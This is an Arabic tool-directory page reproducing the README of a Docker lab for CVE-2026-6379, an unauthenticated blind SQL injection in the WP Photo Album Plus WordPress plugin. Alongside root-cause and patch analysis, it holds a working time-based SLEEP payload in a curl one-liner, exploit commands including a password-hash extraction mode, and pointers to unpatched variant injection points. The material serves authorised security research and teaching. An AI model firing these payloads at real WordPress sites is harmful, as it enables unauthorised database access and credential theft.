Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-6379 — # مجموعة مختبرية قائمة على Docker لـ CVE-2026-6379، وهي حقن SQL غير مصادق عليه في WP Photo Album Plus. تتضمن إثبات مفهوم أعمى قائم على الوقت، وتحليل السبب الجذري، والتحقق من التصحيح لأغراض البحث الأمني المصرح به. | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2026-6379
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubdinosn/cve-2026-6379

cve-2026-6379

# مجموعة مختبرية قائمة على Docker لـ CVE-2026-6379، وهي حقن SQL غير مصادق عليه في WP Photo Album Plus. تتضمن إثبات مفهوم أعمى قائم على الوقت، وتحليل السبب الجذري، والتحقق من التصحيح لأغراض البحث الأمني المصرح به.

عرض المستودع
7منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-6379 — WP Photo Album Plus < 9.1.11.001 — حقن SQL غير مصادق عليه

المعامل: wppa-supersearch الخطورة: CVSS 8.6 (عالية) وفقًا لـ WPScan/Wordfence إصلاح البائع: 2026-04-17 (الالتزام d2b0d05d في مرآة WordPressBugBounty) الإفصاح العام: 2026-04-27 (WPScan)

توفر لك هذه الحزمة مختبر Docker متكاملًا وPoC عمليًا حتى تتمكن من إعادة إنتاج الثغرة والتحقق منها وتعليمها من البداية إلى النهاية.


TL;DR

root@kitploit:~
# على مضيف المختبر:
cd lab && ./setup.sh
# عندما يطبع المثبّت "=== LAB READY ===" مع page_id:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash

الهدف الضعيف يرد في ~5s على استعلام SLEEP؛ الهدف المُصحح يرد في .

<1s

فحص يدوي بسطر واحد:

root@kitploit:~
curl -sS -o /dev/null -w "%{time_total}\n" \
  "http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"

الهيكل

root@kitploit:~
cve-2026-6379-wppa/
├── README.md                  # هذا الملف
├── docs/
│   ├── writeup.md             # تحليل السبب الجذري + تحليل التصحيح
│   └── prompts.md             # مطالبات البحث بالذكاء الاصطناعي التي استخلصت هذه الحزمة
├── lab/
│   ├── docker-compose.yml     # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│   ├── setup.sh               # التشغيل / الإيقاف / التنظيف
│   └── init/install.sh        # مثبّت متكرر (wp-cli)
└── pocs/
    ├── exploit.py             # حقن SQL أعمى قائم على الوقت (probe / version / user / hash)
    └── test_oracle.sh         # اختبار تكامل شامل

كيف تعمل الثغرة (فقرة واحدة)

تقوم wppa_get_photos() بتحليل معامل الطلب wppa-supersearch كملف CSV بصيغة s1,type,s3,DATA. عندما يكون type='o' (المالك)، يتم دمج DATA مباشرة في سلسلة SQL:

root@kitploit:~
$query = "SELECT id FROM $wpdb->wppa_photos
          WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";

بدون اقتباس، وبدون $wpdb->prepare. تعيين wppa-supersearch=,o,,x' OR (...)-- - يهرب من قيمة المالك المقتبسة وينفذ SQL عشوائيًا. نقطة النهاية هي صفحة الواجهة الأمامية العامة التي تستضيف اختصار [wppa]، لذا لا يتطلب أي مصادقة.

يقوم الإصلاح بلف كل حالة كانت مدمجة سابقًا في $wpdb->prepare(..., %s).


نقاط الدمج التي أصلحها نفس التصحيح (الالتزام d2b0d05d)

يعيد تصحيح CVE-2026-6379 كتابة ستة نقاط دمج SQL مميزة داخل wppa_get_photos() في wppa-functions.php. كلا وضعي PoC (probe و probe-calendar) يصيبان نقاطًا مستقلة؛ والبقية تختلف فقط في شكل الحمولة. جميعها غير مصادق عليها ويمكن الوصول إليها عبر نفس بوابة wppa-occur=N كنقطة الدمج الأساسية.

#نقطة الدمج (السطر الضعيف)معاملات التشغيلوضع PoC
1owner — WHERE owner = '$data' (السطر 1244)wppa-supersearch=,o,,…--mode probe (تم التحقق منه مباشرة)
2name — WHERE sname = '<wppa_name_slug($data)>' (السطر 1237)wppa-supersearch=,n,,…غير مستغل (مرشح slug يزيل الاقتباسات)
3tag — WHERE tags LIKE '%$d%' (السطر 1254)wppa-supersearch=,g,,…مقيد بواسطة wppa_sanitize_tags()
4calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (السطر 1361)wppa-calendar=exifdtm&wppa-caldate=…--mode probe-calendar (تم التحقق منه مباشرة)
5calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (السطر 1368)wppa-calendar=timestamp&wppa-caldate=…تحويل رقمي (intval) — محدود
6calendar modified — نفس timestamp (السطر 1375)wppa-calendar=modified&wppa-caldate=…تحويل رقمي — محدود

الأسطر #4–#6 أزالت أيضًا جزء ORDER BY $order المعلق في نفس الالتزام — انظر "التقوية ذات الصلة" أدناه.


المشكلات ذات الصلة المكتشفة إلى جانب CVE-2026-6379

كشف تدقيق أوسع لـ wppa-functions.php ضد نفس البنية الضعيفة عن نقاط دمج خارج تصحيح CVE-2026-6379. ليست هي ما نشرته WPScan/Wordfence، وليست جميعها قابلة للاستغلال بنفس الدرجة، لكنها موثقة هنا حتى يكون المختبر مفيدًا أيضًا لاصطياد المتغيرات.

stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — ثغرة منفصلة محتملة

الحالة: موجودة في 9.1.11.001 (بعد التصحيح). لم تتم معالجتها بواسطة d2b0d05d. مرشحة لـ CVE متابعة.

%s غير صالح لقائمة IN مفصولة بفواصل (ينتج دائمًا سلسلة واحدة مقتبسة). يلتف المكوّن الإضافي حول ذلك بلف العبارة المجهزة في stripslashes()، مما يزيل التهريب الذي أضافه prepare() لتوًا — مما يعيد فتح الحقن إذا كان أي عنصر في القائمة ملوثًا من المهاجم.

مواقع تمثيلية: wppa-functions.php الأسطر 660، 711، 831، 838، 889، 895، 900، 971، 1028، 1034، 1041، 1122، 1144، 1190، 1410، 1414، 1465، 1470، 1476، 1481، 1491.

استعلام البحث لتحليل المتغيرات:

root@kitploit:~
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
  /var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php

ORDER BY $order — تمت معالجته جزئيًا

أزال التصحيح ORDER BY $order من نقاط دمج التقويم/عبارات IN لكنه أبقاه في أخرى. يتم تعيين $order من حالة تشغيل المكوّن الإضافي (جدول الإعدادات) — يتطلب الاستغلال مسار كتابة إلى تلك الحالة. عالجه كتحصين.

wp_strip_all_tags() المستخدم كمعقّم SQL (متغير من #4)

يزيل wp_strip_all_tags HTML، وليس SQL. أينما يظهر حول جزء SQL مقتبس، يكون ذلك الجزء قابلًا للحقن. بعيدًا عن caldate، راجع أي قيمة طلب أخرى تمر عبر هذه الدالة قبل الدمج.


مصفوفة التحقق

الحالةprobeprobe-calendar
ضعيف (9.1.10.011)[+] VULNERABLE — ~5.0s ≥ 3.5s[+] VULNERABLE — ~5.0s ≥ 3.5s
مُصحح (9.1.11.001)[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
المكوّن الإضافي معطّل[-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s
صفحة بدون اختصار [wppa][-] Not confirmed — ~0.04s[-] Not confirmed — ~0.04s

تبديل الإصدارات على مختبر قيد التشغيل:

root@kitploit:~
# مُصحح:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
  plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
  --allow-root || true
# أعد تشغيل probe؛ يجب أن تكون النتيجة سلبية.

السلامة

  • شغّل على شبكة معزولة فقط. الثغرة غير مصادق عليها.
  • يستخدم المختبر بيانات اعتماد WP الافتراضية admin / adminadmin — لا تعرضها للإنترنت أبدًا.
  • أوقف التشغيل باستخدام ./setup.sh purge (يحذف مجلد قاعدة البيانات).

المراجع

  • WPScan: https://wpscan.com/plugin/wp-photo-album-plus/
  • التزام التصحيح: https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/commit/d2b0d05d
  • wppa-functions.php (الضعيف): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.php
  • wppa-functions.php (المُصحح): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php
تنزيل الأداة